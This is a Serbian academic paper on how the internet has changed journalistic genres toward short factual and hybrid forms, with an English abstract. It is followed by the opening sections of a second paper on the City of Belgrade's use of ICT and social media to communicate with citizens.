Posledica toga je da tradicionalni mediji gube trku sa vremenom, a menjaju se i uobičajene navike ljudi širom sveta. Prelistavanje dnevne štampe uz jutarnju kaficu odlazi u prošlost. Mladi ljudi, ali i oni koji su već u godinama, sate i sate provode uz svoje računare "prelistavajući" internet izdanja tradicionalnih medija koja im omogućuju da se aktivno uključe u diskusije o problemima i događajima koji se odigravaju pored njih, ali i hiljadama kilometara dalje. Sve je više onih koji učestvuju u različitim forumima na društvenim mrežama, sve je više blogova i blogera, sve je više novih novinara. Profesija se, zahvaljujući tehnološkim rešenjima koja su sve modernija i brža, demokratizuje, ali i značajno menja.

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Na udaru je u prvom redu kredibilitet novinarstva i novinara. Odavno je poznato da je jedna od najvećih nevolja novinarstva vezana za rokove objavljivanja, odnosno štampanja tekstova, ali je pojava interneta dovela i do toga da su te teškoće pojačane. Novinari sada moraju da vode računa ne samo o tome kako da tekst ubace u novinu do početka njenog štampanja, već i kako da preteknu kolege koje imaju brza i moderna internet izdanja. Zbog toga, kao i zbog besomučne trke za profitom, koja često znači i opstanak medija, strada pouzdanost informacija koje se objavljuju. Nekadašnje iscrpne, interpretativne tekstove sa najmanje dva ili tri sagovornika, sa mnoštvom podataka i korisnim i zanimljivim antrfileima, zamenjuju tekstovi sa samo jednim sagovornikom (često anonimnim), dva podatka i velikom fotografijom.

Upravo zbog toga, u ovom radu bavimo se uticajem interneta na žanrovsku strukturu medija. Polazeći od premise da je budućnost već počela i da su se mnoge promene već dogodile, istražujemo kakva je budućnost žanrovskih sadržaja medija. Polazimo od tvrdnje da je sa ekspanzijom interneta došlo do preoblikovanja novinarskih žanrova. Suština trke za informacijama jeste, pre svega, skraćivanje vremena potrebnog da stignu do krajnjih korisnika. Zbog toga je tiplogija žanrova promenjena u korist faktografskih žanrova, dakle pre svega kratkih vesti, vesti i izveštaja. U takvoj situaciji pojedini žanrovi nestaju iz medija, dok su na sceni novi hibridni žanrovi, čija primena omogućuje bolju komunikaciju sa čitaocima internetskih stranica. Istovremeno, uočava se pad kvantiteta informativnih priloga, a mesto se pre svega ustupa lakim zabavnim i senzacionalističkim sadržajima. Ovakav trend posebno je prisutan na televizijama, a ono što brine jeste činjenica da takve programe emituju televizije sa nacionalnim frekvencijama.

Naš cilj je da utvrdimo koji su danas najkorišćeniji žanrovi u tradicionalnim i internet medijima, odnosno da li su neki od tipičnih žanrovskih oblika (članak, reportaža i sl.) ustupili svoje mesto drugim, kraćim i osnovnim faktografskim žanrovima i kakve se kombinovane forme mogu pronaći u novim medijima. Takođe, pokušaćemo da pokažemo kakav je ne samo profesionalni, već i društveni aspekt odumiranja tradicionalnih žanrova. Ako se ima u vidu činjenica da se od novinara sve do skora očekivalo da budu uporni tragači za otkrivanjem i tumačenjem suštine onoga što se oko nas dešava i o čemu oni izveštavaju, onda se, sasvim opravdano, postavlja pitanje mogu li se ti zadaci ispiniti kratkim, faktografskim žanrovskim formama. Ne govori li to o sve većoj površnosti savremenog novinarstva i o izmenjenoj ulozi novinara u novim medijima?

Celokupni posao u znatnoj meri otežava činjenica da je reč o prilično živoj materiji, da je izuzetno teško pratiti internet medije i da sa njihovih stranica neki tekstovi nestaju istom brzinom kojom na njih dolaze, a to znači za samo jedan tren.

2. TRADICIONALNO ILI NOVO

Prvi dnevni list na internetu, San Jose Mercury News, pojavio se 1993. godine, ali se za početak veb novinarstva najčešće uzima 1982. godina kada su se pojavili ekperimentalni video-tekst servisi, koji su štampane publikacije i druge interaktivne servise prikazivali preko TV ekrana [1]. Servis je bio strogo kontrolisan od strane velikih medijskih korporacija Times Mirror i Knight Rider, a svaki pokušaj publike da utiče na njegov sadržaj bio je onemogućen. Kao neuspešan ugašen je 1986. godine.

Međutim, kasnijih godina, u čitav posao uključile su se i neke druge američke kompanije poput CompuServe, Prodigy i AOL i to na taj način što su počele da koriste mreže za pružanje usluga poput četa i raznih foruma, iako one same nisu bile vezane za novinarstvo. "Njihov uspeh, kao i vrtoglavi napredak u kompjuterskim tehnologijama, razvoj *World Wide Web*-a krajem 80-ih i početkom 90-ih, HTML-a (1990–1992), grafički brauzer Mosaic (1993), razvoj elektronske pošte, naterao je medijske kompanije da ulože ogroman trud i pokrenu novi talas u onlajn novinarstvu i prvi talas veb novinarstva" [2].

Sve je funkcionisalo na ideji besplatnog korišćenja usluga, jer se računalo da će komercijalne efekte doneti reklame koje se budu objavljivale, a ne novinarski sadržaji. Veoma brzo, na hiljade korisnika lansiralo je svoje manje, inovativne, i specijalizovane sajtove, a nešto kasnije nastali su blogovi, kao novi model za lansiranje onlajn vesti. Gotovo preko noći razvijena su tri modela veb medija: direktan prenos postojećeg štampanog medija na veb platformu; prenos štampanog medija uz dodatak određenih originalnih sadržaja; potpuno nov, originalan sadržaj, uključujući video i audio.

Godine koje su usledile donele su punu ekspanziju veb novinarstva, ali i turbulencije u okviru kojih je bilo dosta ekonomskih promena. Pa ipak, "internet se nije dao, te se iz krize (početkom 2000. godine, prim. aut.) vratio jači nego ranije, u novom pakovanju i s novim karakteristikama koje će stvoriti ono što danas zovemo Web 2.0^{°,1} Praktično, medijske kompanije odlučile su da u izradu sadržaja uključe korisnike, čime su oni postali partneri u istom poslu.

¹ Termin Web 2.0 odnosi se na veb-sajtove koji dobijaju makar određenu vrednost od akcija korisnika: veb-izdavači stvaraju platforme umesto sadržaja, a korisnici stvaraju sadržaj.

Dakle, u vreme video-teksta imali smo situaciju u kojoj su vlasnici sajtova sve kontrolisali, a krajnji korisnici nisu imali mogućnosti da utiču na kvalitet proizvoda koji im se nudi; kasnije, u prvoj fazi veb novinarstva, krajnji korisnici su se izborili za besplatan sadržaj i za kontrolu nad tim sadržajem, a u drugoj fazi je podeljena i kontrola, ali i sadržaj.

Vlasnici i korisnici sajtova shvatili su da su jedni drugima potrebni, da velike mreže bez publike ne predstavljaju nikakvu vrednost, da su krajnjim korisnicima potrebni sadržaji velikih novinskih kompanija da bi mogli da komentarišu i nadograđuju. Tako je lagano stvarana jedna nova generacija novinara.

Tradicionalni mediji, a među njima pre svih velike svetske novinske agencije, ne napuštajući standarde i praksu rada novinara napravile su veliki zaokret ka društvenim mrežama i takozvanom građanskom novinarstvu, jer se njihovo prisustvo praktično ne može ignorisati. Asošijetet pres, jedna od najvećih svetskih novinskih agencija, koja širom sveta zapošljava oko 3.000 novinara, osnovala je poseban Centar za društvene mreže, kao deo tzv. Nerve Centra. U svom sastavu ovaj centar ima i Centar za vesti, Centar za standarde i Centar za produkciju. Loren Mek Kalag (Lauren McCullough), koja se nalazi na dužnosti menadžerice društvenih mreža AP-a, tvrdi da su novinari ove agencije aktivni na društvenim mrežama i da oni imaju nekoliko adresa, kao što su @APStylebook na tviteru i kanal na You Tubeu koji pomažu da se i publika aktivno uključi u stvaranje i proizvodnju vesti [3]. Menadžerica AP naglašava da je potraga za vestima zahvaljujući društvenim mrežama olakšana, ali da pritom novinari moraju da zadrže standarde koje kao pripadnici profesije odavno imaju, i da svaku vest koji na taj način dobiju obavezno provere.

Zanimljivo je, međutim, da uprkos punoj ekspanziji interneta, građani širom sveta i dalje prednost daju televiziji nad internetom. Prema istraživanju koje je sproveo Rojtersov institut za proučavanje novinarstva, a o čemu inače informiše Evropska opservatorija za novinarstvo, tradicionalni večernji dnevnici i dalje su popularniji od internet stranica kada su u pitanju vesti iz sveta [4]. Njihovo istraživanje pokazalo je da u vreme kada se društvenim mrežama prečesto zamera zbog širenja dezinformacija o velikim međunarodnim događajima, pažljiv odabir televizijskih vesti podiže gledanost televizije. Autori istraživanja pod nazivom "Javni apetiti za vesti iz sveta na televiziji i internetu" navode da bitni svetski događaji mogu da povećaju prosečnu gledanost jedne informativne emisije za čak 20%.² Ovo istraživanje zanimljivo je i zbog toga što je pokazalo da je dužina emitovanih priloga u TV emisijama bitno uticala na njihovu gledanost. Naime, dugi prilozi, oni koju su trajali duže od 15 do 20 minuta, nisu bili gledani, bez obzira na činjenicu da su jedan važan događaj oslikavali iz mnogo različitih uglova. Studija je, takođe, pokazala da se gledanost priloga na televiziji i internetu, bez obzira na njegov kvalitet i značaj, ne podudara. Oni koji koriste internet sami određuju koji će prilog gledati ili čitati, kao i koliko će mu vremena pokloniti, a to je obično kraće od vremena koje sličan prilog zasluži na televiziji.

3. IZMENJENE ŽANROVSKE FORME

Novinarske forme, za razliku od književnih, manje su složene i kratkovečnije. Internet je dramatično ubrzao protok informacija, pa neke od njih traju veoma kratko, ponekad ne duže od jedne sekunde. Pojave se i nestanu.

Teorija novinarskih žanrova posvećena je upravo normama, oblicima izražavanja shvaćenim kao obrascima koji se ponavljaju u medijima. U savremenom dobu klasičnu podelu novinarskih žanrova na faktografiju (podžanrovi – vest, izveštaj, klasični, tematski intervju pitanje - odgovor), beletristiku (reportaža, crtica, feljton, karikatura) i analitiku (članak, komentar, portret-profil ličnosti, kritika), zamenjuje, kako navodi teoretičar medija Neda Todorović, novijom podelom "na faktografiju (izveštačko novinarstvo) i interpretaciju (istraživačko novinarstvo)". Međutim, prema njenim rečima, i ova podela je, kao i prethodna, uslovna. "Hibridizacija, prožimanje oblika novinarskog izražavanja, odlika je gotovo svih aktuelnih praksi pisanja. I danas se pred našim očima određuju nove žanrovske granice, stvaraju se neke nove 'otvorene' forme, razvijaju se žanrovski sistemi i podsistemi" [5].

Istorijski prikaz razvoja hibridnosti žanrova, povezujući ga sa novim tehnološkim rešenjima, ponudio je novozelandski teoretičar Brenon Vud (Brennon Wood) i to na osnovu posmatranja, razvoja i menjanja različitih programskih vrsta na novozelandskoj televiziji od 1960ih do 1990-ih godina, koje su na kraju svojim mešanjem dovele do nastanka hibridnosti.

Različitim ukrštanjima činjenica, fikcije, zabave i oglašavanja i njihovim razvojem došlo je do stvaranja novih vrsta hibridnosti koje se mogu identifikovati, a svaka od njih stvara poseban doživljaj sveta, jer svaka od njih stvara drugačiji način ukrštanja između činjenica, fikcije, zabave i oglašavanja, a to su: *re-enactment* (drame i filmovi koji se temelje na ljudima i događajima koji postoje u spoljnom svetu, a konstruišu fikciju na temelju spoljnih činjenica),

² Istraživanje su tokom 2010. i 2011. godine uradili Ričard Sambruk, profesor žurnalistike na Univerzitetu u Kardifu, Dejvid Levi, direktor Rojtersovog instituta za proučavanje novinarstva i Sajmon Terington, bivši gostujući predavač na Rojtersovom institutu.

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diversion (prikazuju ljude koji se predstavljaju kao oni sami), *absorption* (situacije se rekonstruišu: podudaraju se činjenice i finkcija), kao i *infomercil* (duže televizijske reklame od 30 minuta koje spajaju prikazivanje nekog proizvoda i svedočanstva ljudi ili stručnjaka o njegovoj funkcionalnosti: spajaju oglašavanje sa činjenicama) [6].

Vud smatra da je "razvoj hibridnosti krajem 1990ih godina postala rutina u celom svetu, kao i da su se mnogi teoretičari usmerili na proučavanje hibridnosti na osnovu najpoznatijih hibridnih formata – namešanja u dokumentarnom žanru i na pojavu "rijaliti televizije". Po njegovom mišljenju "više pažnje bi trebalo usmeriti proučavanju tzv. informersijala, televizijskih reklama koje traju oko 30-ak minuta, jer je to danas najrazvijeniji televizijski hibridni žanr, koji je zadnjih godina prekinuo dominaciju drugih".

Sasvim je izvesno da hibridnost nudi ogromne prostore za drugačije prihvatanje određenih informacija, posebno za učešće u njihovom komentarisanju i kanalisanju. Kako navodi Džej David Bolter (Jay David Bolter) u svom članku Težnja za transparentnošću u eri hibridizacije (The Desire for Transparency in an Era of Hibridity), hibridnost je prihvaćena strategija u produkciji i potrošnji popularnih medijskih formi i tehnologija. "Ono što novi mediji entuzijastično nazivaju konvergencija, nije samo mešavina različitih tehnologija u jedno jednostavno sredstvo, već pre svega proizvod različitih multifunkcionalnih uređaja, koji kao hibrid predstavljaju različita lica različitim korisnicima, koji se temelje na njihovim potrebama i povlasticama" [7].

Prema Žilu Brenstonu (Gill Branston) "različitost u mešanju 'repertoara elemenata' je sastavni deo mešanja žanra ili hibridnosti". To je posebno uobičajeno u novinarstvu i oglašavanju i predstavlja "deo procesa intertekstualnosti". Brenston pojam intertekstualnosti objašnjava kao "pojam koji se odnosi na tekst, koji se poziva na neki prethodni tekst ili na neko prethodno znanje, a ono nas zajedno sa hibridnošću podseća kako narativne forme u televiziji i filmu kombinuju žanrove" [8]. Sve ovo neodoljivo podseća na sve češću praksu linkovanja koju imamo kod tekstova koji se objavljuju na internet portalima.

ŽANROVI NA DOMAĆOJ MEDIJSKOJ SCENI

Savremeno novinarstvo, pod uticajem tehnologije, sve više liči na dijalog, a ne na monolog. Mnogo starih praksi je napušteno, a u svakodnevnu novinarsku terminologiju uključuju se novi pojmovi poput bloga, građanskog novinarstva i sl. Neda Todorović ističe da "u eri preobilja informacija, kada novinari nisu više jedini posrednici između događaja i konzumenata, dezorijentisani građani i dalje, s pravom zahtevaju eksplikaciju onog što se u svetu u kome žive dešava, ali da pored tumačenja (zašto?) traže i predviđanje (šta dalje?)". Stoga je, po njenim rečima, logično da u "osnove znanja modernog novinara 21. veka spada, pored tzv. novinarskog načina mišljenja i poznavanje, vladanje novinarskim žanrovima i podžanrovima izražavanja".

"Odgovorno novinarstvo savremene, elektronske, ere podrazumeva standarde pouzdanosti i profesionalnosti koji počivaju na novinarskom znanju, etičnosti i vrhunskom zanatu. Ti standardi efikasnosti, etičnosti i efektnosti, ne odnose se samo na vladanje najnovijim tehnologijama, kako se površno zaključuje, oni se zasnivaju na nepromenljivim pravilima i vrednostima novinarske profesije kao zanimanju sa punim radnim vremenom" [9].

Mešanje žanrova je sve češće. Nekada je žanrovska čistoća predstavljala ogledalo kvaliteta medija, ali je današnja hibridizacija trend koji se sve više podstiče. Novi mediji proizvide forme izražavanja, pisanja tekstova koji su zbog svoje multimedijalnosti sve popularnije kod mladih ljudi. "Te nove forme izražavanja u onlajn novinarstvu uslovljene medijskim potencijalima i naprednim tehnološkim mogućnostima počivaju u osnovi na elementarnim pravilima pisanja onih klasičnih. Model pisanja vesti principom obrnute piramide idealan je, neprevaziđen i dobrodošao u onlajn praksi pisanja" [10]. Zbog toga se mora shvatiti da uprkos promeni žanrovskih formi, novinarstvo ostaje novinarstvo samo ukoliko je istinito, zasnovano na punom uvažavanju usvojenih standarda i etičkih principa žuranlizma.

U mnogim aspektima, tradicionalna teorija žanrova primenjiva je i u okruženju interneta. Njihova funkcija i forma je i na internetu često takva da se mogu jasno raspoznavati vrste žarova. "Ono što doprinosi pojavi hibridnih žanrova jeste, pre svega, digitalnost i pristupačnost interneta, kao i mogućnost linkovanja i prisustvo hiperlinkova" [11]. Hibridni žanrovi su specifični u odnosu na tradicionalne novinarske žanrove i po posebnom grafičkom dizajniranju teksta za portal, po određivanju ključnih reči po kojima se može vršiti pretraga itd. To je način da se privuče pažnja posetilaca sajta, u moru naslova vesti koje kruže internetom. "Karakteristika hibridnih internetskih žanrova je i korišćenje multimedijalnih sadržaja: fotografija, audio zapisa, video zapisa, grafikona i drugih vrsta ilustracija. Cilj je uvek isti: da se kreira multimedijalni sadržaj" [12].

Većina domaćih tradicionalnih medija, kako štampanih, tako i elektronskih, poslednjih godina pokrenula je, uz primenu brojnih hibridnih žanrovskih formi, svoje veb portale, odnosno internet izdanja. Za kratko vreme oni su postali veoma popularni. Poslednji podaci govore da je sajt dnevnog lista Blic daleko najpopularniji, odnosno najposećeniji.



Izvor:	Blic,	02.03	.2017.
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Prema podacima Gemiusa, sistema za praćenje posećenosti sajtova, portal Blic.rs je u januaru 2017. godine imao više od 2,5 miliona korisnika iz Srbije, tačnije 2.502.806, što apsolutno govori o uticaju koji ovaj portal ima na srpsku javnost. Ovome se mora dodati i veliki, ali neutvrđeni, broj onih koji su Blicov sajt posetili preko aplikacija za android i ajfon uređaje, što je novi dokaz uticajnosti internet izdanja ovih novina. Posećenost portalu Blic, pre svega, duguje kratkim žanrovskim formama, brzini prenošenja vesti i informacija, kao i interaktivnosti koja se nudi posetiocima.

5. INTERESANTNOST VESTI

Pod uticajem novih tehnologija promenili su se mediji, promenili su se žanrovi, promenio se način pisanja, promenila se publika, promenili su se novinari. Bez obzira na žanrovsku hibridizaciju, vesti su preživele i dalje su, možda više nego ikad, tražene na medijskom tržištu. Ali kakve?

Pojava Fejsbuka i Tvitera promenila je mnoge tradicionalne kriterijume po kojima se određivalo šta je to vest. Na snazi su drugačija pravila koja je, između ostalog, u svom blogu pod naslovom "Budućnost novina i veb portala i šta su danas vesti" opisao Istok Pavlović, profesor na Fakultetu za medije i komunikacije, koji je 2011. godine izabran za najboljeg blogera u Srbiji. Pavlović objašnjava da je "suština novina u tome da zadovolje ljudsku potrebu da saznaju šta ima novo, da dobiju svakog dana iznova osećaj da se nešto dešava, da su drugi ljudi u tom društvu živi i da nešto rade. Bilo da su to vesti iz sporta, politike, kulture" [13]. Međutim, gledajući svet oko sebe, Pavlović naglašava:

"da sve ukazuje na jednu veliku i nepobitnu činjenicu koja sve više postaje nepovratna realnost: Fejsbuk su danas novine, a vesti su danas News feed na Fejsbuku. Verovatno većina ljudi koje poznajemo ujutro prvo ode na Fejsbuk da saznaju šta ko radi od prijatelja iz njihovog okruženja, a ne šta rade Tomislav Nikolić ili Angela Merkel. Ako ogromna većina ljudi ujutru detaljno iščitava ceo Fejsbuk, sve informacije o svojim prijateljima, a tek sporadično ode na sajt nekih novina ako se desi nešto baš epohalno, pa svi to šeruju, onda se postavlja logično pitanje – šta su u današnje vreme vesti dana za većinu ljudi?"

Postaje sasvim očigledno da je blizina vesti jedan od najznačajnijih kriterijuma za njihov odabir. Još ako je ona kombinovana sa tehnološkim mogućnostima koje mediji nude, ako je prikazana u hibridnoj formi, onda je interes ljudi uglavnom zadovoljen. Ljude danas, tvrdi Pavlović, ne interesuje u istoj meri kao ranije šta rade nedodirljivi ljudi na vlasti, što im je prikazivano duže od 400 godina, koliko otprilike traje moderna istorija novinarstva, već pre svega ono što se dešava u njihovom okruženju, ono što se dešava njihovom komšiji, drugarici, prijatelju, sestri... Možda ih ni ranije nije previše interesovalo šta rade kraljevi, političari, ministri i njima slični, ali su bili prinuđeni da čitaju o tome, jer im je medijska industrija servirala upravo takve, žanrovski strogo ukalupljene priče. Pavlović ističe da Fejsbuk nema urednika koji će nasilno svakom korisniku da stavi prvu vest u News feedu: "Mlađan Dinkić otvorio fabriku". "Umesto toga, algoritam sklapa posebnu 'naslovnu stranu' za svakog čitaoca. U vrh će izaći statusi i linkovi ljudi sa kojima imamo najveću interakciju i stvari koje su postavili ljudi iz našeg bliskog okruženja" [14].

Paralelno sa izborom vesti mora se razmišljati o izgledu teksta koji se nudi, jer se pisanje za štampane i onlajn medije razlikuje. Neki od osnovnih postulata, poput obrnute piramide, kratkih pasusa i naslovne kompozicije su opstali, ali je uključivanje video i audio sadržaja doprinelo primamljivosti tekstova na vebu. Međutim, i dalje je veoma teško pretraživati ove sadržaje, pa je zbog toga tekst i dalje primaran kada se želi pronaći određeni sadržaj.

6. ZAKLJUČAK

Internet i vreme promenili su staru paradigmu o podeli novinarskih žanrova na faktografske, analitičke i beletrističke. Danas je mnogo ispravnije govoriti o hibridizaciji žanrova.

Uprkos činjenici da su te nove žanrovske forme obogaćene rešenjima koja je omogućila tehnologija, poput fotografije, tonskih, audio i video zapisa, grafika i animacije, ostaje činjenica da suštinu novinarskog proizvoda i dalje čini tekst. Možda će se kroz vreme i ova karakteristika menjati, ali se niko od teoretičara medija na usuđuje da o ovome govori sa većom dozom izvesnosti. Zbog toga je novinarskim praktičarima potrebno dobro poznavanje osnovnih kategorija iz Teorije novinarskih žanrova, ali i sve bolje poznavanje mogućnosti koje internet pruža.

Sasvim je izvesno da je obrnuta piramida kao stil pisanja novinarskih tekstova preživela, ali da se ukupan medijski proizvod neprekidno menja. Današnji novinarski tekstovi su kraći, sa krupnijim, rekli bismo i provokativnijim naslovima, obavezno opremljeni fotografijom, grafikama i sličnim proizvodima koje tehnologija omogućava. Taj trend se mora nastaviti, jer sve mlađa publika, koja se uglavnom informiše preko mobilnih telefona i Fejsbuka, ima nove poglede na informisanje u celini. Ona ne želi da čita "vesti od juče".

Digitalno doba donelo je promenu posle koje su novinari u novim medijima postali glavni razlog verovanja ili korišćenja određenih onlajn izvora vesti. Reputacija novih novinara je jedan od ključnih razloga zbog kojih neko čita određene vesti na internetu. Rastuća važnost individualnih karakteristika novinara podstaknuta je lakoćom distribuiranja novinskih sadržaja. Međutim, bez obzira na činjenicu da li se piše za stare ili nove medije, ostaje nepromenjiva potreba da se bude medijski pismen, kako bi se ispunila jedna od osnovnih etičkih premisa žurnalističke profesija, a ona se pre svega odnosi na istinitost i etičnost.

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Abstract:

Today's contemporary world is enriched with new techologies which have been rapidly changing usual mass media contents. In the past, information travelled for days, even months, from one side of the world to another. Today, however, it seems to travel at the speed of light. These kinds of changes also condition changes in media genres structures, which are today mostly predominated by the news and information. All other analytical texts, comments, reviews and even coverage stories are in the second place. Some new forms, such as increasingly popular blogs, appeared at the same time.

This written work will try to find an answer to the question, while bringing changes into genres' forms, what is the amount of impact that time has had on the truthfulness of media contents we are exposed to every day. Also, it will point out the need for media literacy of all immediate media participants, such as owners, editors, journalists, media users.

Keywords:

media, genres, media literacy, the internet, blog.

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GRAD BEOGRAD KAO PRIMER DOBRE PRAKSE U UPOTREBI MODERNIH INFOMACIONO-KOMUNIKACIONIH TEHNOLOGIJA U KOMUNIKACIJI IZMEĐU GRAĐANA I GRADSKE VLASTI

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Komunikacija između građana i gradske vlasti veoma je značajna, posebno u velikim gradovima. Građani žele da znaju šta se dešava, gde su se pojavili problemi i kada će biti rešeni. Sa druge strane, predstavnici gradske vlasti treba da steknu što veće poverenje kod građana, ukoliko im pružaju adekvatne informacije. Trenutn je na raspolaganju širok spektar informacionokomunikacionih tehnologija koje olakšavaju komunikaciju između građana i gradske vlasti. Posebna pažnja posvećuje se komunikaciji u slučaju vanrednog događaja ili situacije. Građani bi trebalo da imaju mogućnost da ukažu na problem na teritoriji grada. U slučaju hitnosti, kada je vreme ograničavajući faktor, upotreba modernih informaciono-komunikacionih tehnologija korisna je u delu koordinacije između građana i gradske vlasti. Grad Beograd, kao glavni grad Republike Srbije, primer je dobre prakse u ovoj oblasti. Gradska uprava Grada Beograda prepoznaje potrebu upotrebe modernih informaciono-komunikacionih tehnologija u komunikaciji sa građanima. Posebna organizaciona jedinica gradske uprave zadužena je za ove zadatke. U ovom poslu koristi se nekoliko aplikacija koje su dostupne građanima. Takođe, komunikacija može biti ostvarena i putem društvenih mreža.

Ključne reči:

gradska uprava, građani, informaciono-komunikacione tehnologije, Grad Beograd, društvene mreže.

1. UVOD

Komunikacija u savremenom društvu predstavlja veoma bitan segment u svakoj oblasti. Komunikacija se može definisati kao proces na osnovu koga neka osoba, grupa ili organizacija (pošiljalac) prenosi neku vrstu informacije (poruku) nekoj drugoj osobi , grupi ili organizaciji (primalac) [5]. Proces komunikacije počinje tako što pošiljalac određenu ideju, uz modifikaciju, prenosi komunikacionim kanalom do primaoca koji ideju prima, dekodira i po potrebi šalje povratnu informaciju. Danas ne postoji sfera poslovanja u kojoj se ne insistira na optimizaciji komunikacije. Resursi za realizaciju zadataka organičeni su i dobrom komunikacijom koja predstavlja osnov koordinacije, može se uspostaviti efikasna i efektivna upotreba dostupnih resursa i time ostvarenje zacrtanih ciljeva. Kao pomoćno sredstvo, bez koga se ne može ostvariti komunikacija u savremenom poslovanju, koriste se informaciono-komunikacione tehnologije. Informaciono-komunikaciona tehnologija, vrlo često označena skraćenicom ICT (information and communication technologies) sve češće se pominje u kontekstu poslovnih sistema. Akronim ICT često se zamenjuje akronimom IT (information technology). Informacione i komunikacione tehnologije možemo definisati kao skup tehnologija koje se koriste u procesu sakupljanja, odabira, verifikacije, obrade, skladištenja, prenosa, prikaza, objavljivanja i podele informacija, ili u procesima komunikacije [7]. Jedna od oblasti u kojima se prepoznaje značaj upotrebe informaciono-komunikacionih tehnologija jeste i komunikacija između građana i gradskih vlasti, odnosno uprave. Veliki gradovi širom sveta veliku pažnju posvećuju komunikaciji sa građanima i stalno nastoje da je unaprede, upravo korišćenjem savremenih informaciono-komunikacionih tehnologija. Grad Beograd, kao glavni grad Republike Srbije, takođe ulaže velika sredstva i napore kako bi komunikacija sa građanima bila što efikasnija i efektivnija i predstavlja primer pozitivne prakse.

2. ORGANIZACIONA STRUKTURA SLUŽBE ZA KOMUNIKACIJU I KOORDINACIJU ODNOSA SA GRAĐANIMA GRADA BEOGRADA

Grad Beograd svoju organizaciju temelji na radu nekoliko sekretarijata koji su zaduženi za uređenje pojedinih oblasti života i rada građana Beograda. Odnedavno u okviru gradske uprave funkcioniše i gradski sekretarijat za poslove odbrane, vanrednih situacija, komunikacije i koordinaciju odnosa sa građanima. U okviru ovog sekretarijata, kao zasebni organizacioni deo prepoznaje se služba za komunikacije i koordinaciju odnosa sa građanima, ili popularno "Beokom servis". Služba za komunikacije i koordinaciju odnosa sa građanima - "Beokom servis" vrši stručne, operativne, organizacione i administrativno-tehničke poslove koji se odnose na komunikaciju sa građanima u vezi sa pružanjem usluga javno komunalnih preduzeća i drugih subjekata, koordinaciju odnosa između Gradske uprave, javno komunalnih preduzeća i drugih subjekata kojima je povereno obavljanje komunalnih delatnosti, saradnja sa informacionim centrima subjekata kojima je povereno obavljanje komunalnih delatnosti u cilju unapređenja njihovog odnosa prema građanima, priprema i izdavanje publikacija u oblasti ostvarivanja prava građana za pružanje komunalnih usluga, koordinaciju poslova javnih preduzeća i javno komulalnih preduzeća [2]. Iz navedenog može se zaključiti da se u Gradu Beogradu velika pažnja posvećuje komunikaciji sa građanima, a sve u cilju zadovoljenja njihovih potreba na svim nivoima. Takođe, u pogledu obezbeđenja životnih uslova na propisanim standardima veliku ulogu na teritoriji grada Beograda imaju javno komunalna preduzeća, poput JKP "Beogradski vodovod i kanalizacija", JKP "Beogradske elektrane", JKP "Gradska čistoća", JP "Gradsko stambeno" i drugi. Oni su ključni segment svakodnevnog funkcionisanja vitalnih službi od kojih i zavisi kako će građani živeti. Sa druge strane, žiteljima Grada Beograda u interesu je da znaju svaki vid promene koje kreiraju pomenuta preduzeća, a može imati uticaj na njihov svakodnevni život. Na primer, ako dolazi do radova u nekim ulicama na teritoriji grada, ili će pojedine gradske ulice ostati bez vode ili električne energije, svakako da je građanima od velikog značaja raspolaganje informacijama o prethodno opisanim radovima. Gradska uprava Grada Beograda prepoznala je značaj komunikacije i koordinacije odnosa sa građanima u ovoj oblasti i iz tih razloga organizaciono izdvaja službu koja će se baviti tim poslovima. Danas, kako je i prethodno naglašeno, ova služba pripada sekretarijatu koji se pored poslova vezanih za komunikaciju i koordinaciju odnosa sa građanima, bavi i oblastima odbrane i vanrednih situacija.

Služba za komunikacije i koordinaciju odnosa sa građanima u okviru svoje organizacione strukture ima nekoliko organizacionih jedinica. Rad Službe za komunikacije i koordinaciju odnosa sa građanima organizovan je kroz dva sektora - Sektor "Beogradski pozivni centar", u okviru koga se nalazi Odeljenje za nadzor i kontrolu, i Sektor "Informacioni centar" u okviru koga se nalaze Odeljenje za komunikacije, Odeljenje za praćenje, koordinaciju i upravljanje, Odsek za normativne, stručno-operativne, studijsko-analitičke i materijalno-finansijske poslove i Odsek za događaje [2]. Posmatrano kroz sve dimenzije organizacione strukture, Služba je organizovana na način da se postiže maksimalna efikasnost i efektivnost u komunikaciji sa građanima. Pored dobre organizacije, da bi se zacrtani ciljevi ostvarili, neophodno je u ovoj oblasti koristiti i savremene informaciono-komunikacine tehnologije, o čemu će biti reči u narednim poglavljima rada.

3. INFORMACIONO -KOMUNIKACIONE TEHNOLOGIJE I APLIKACIJE KOJE KORISTI GRAD BEOGRAD U KOMUNIKACIJI SA GRAĐANIMA

U ovom delu biće prikazan način upotrebe modernih informaciono-komunikacionih tehnologija u komunikaciji sa građanima na teritoriji Grada Beograda.

Odeljenje za komunikacije komunicira sa građanima putem društvenih mreža Fejsbuk i Tviter, aplikacija

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za mobilne telefone, medija poput televizije Studio B, Radio Lagune, Radio Beograd 202, Radio Studio B, Radio S, RTS, TV Naša i TV Kopernikus, kao i lično na pozive građana za zakazivanje sastanaka sa članovima Gradskog veća i gradonačelnikom [2]. Širok spektar mogućnosti za komunikaciju sa gradskim vlastima stavlja se na mogućnost građanima. U eri upotrebe mobilnih telefona, kompjutera i interneta, gradske vlasti nastoje da implementiraju korisne aplikacije kako bi neophodne informacije građanima bile dostupne uvek i bilo gde. Ako se posmatraju društvene mreže, poput Fejsbuka i Tvitera, statistika govori da je u periodu 2016. godine komunikacijom preko društvene mreže Tviter bilo 8960 tvitova, 1642 novih pratilaca, 1.464.000 poseta profilu i 14.625 pominjanja, a zabeleženo je i 4459 prijava. Komunikacijom preko društvene mreže Fejsbuk, Odeljenju za komunikacije obratilo se sa prijavama 344 građana, postavljeno je 1938 objava, a stranica je imala 1660 pratilaca [2]. Prema navedenom, uočljiv je značaj upotrebe društvenih mreža u komunikaciji sa građanima. Većina građana u svakodnevnom životu koristi barem jednu od mnoštva aktuelnih društvenih mreža. Gradska uprava Grada Beograda, a preko svoje Službe za komunikaciju sa građanima, zaključila je da od velike koristi može biti korišćenje društenih mreža u cilju što bolje komunikacije sa građanima. Tako, na primer, preko Tvitera i Fejsbuka, građani mogu doći do korisnih informacija, ali takođe i prijaviti i neke probleme koje uoče i koji zahtevaju hitno rešavanje.

